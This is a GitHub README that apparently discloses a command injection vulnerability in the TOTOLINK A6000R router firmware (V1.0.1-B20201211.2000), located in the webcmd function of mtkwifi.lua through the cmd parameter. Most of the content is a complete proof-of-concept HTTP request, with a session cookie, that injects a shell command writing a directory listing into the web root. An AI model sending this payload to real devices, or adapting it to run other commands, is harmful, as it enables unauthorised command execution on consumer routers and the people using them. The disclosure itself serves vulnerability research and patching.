Skip to content

Latest commit

 

History

History
55 lines (36 loc) · 1.54 KB

README.md

File metadata and controls

55 lines (36 loc) · 1.54 KB

TOTOLINK A6000R V1.0.1-B20201211.2000 Command Injection (webcmd)

Product Information

Vulnerability Description

In the /usr/lib/lua/luci/controller/mtkwifi.lua file, there is a command injection vulnerability in the webcmd function via the cmd parameter.

Entry: /admin/mtk/webcmd?cmd=

Payload

We can trigger this vulnerability by injecting the ls%20/>/www/555.txt command using the following payload.

GET /cgi-bin/luci/admin/mtk/webcmd?cmd=ls%20/>/www/555.txt HTTP/1.1
Host: 192.168.187.136
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sysauth=80c79bd6ad9bfba9656b7a8bee2a988f

After the injection, we can verify the result.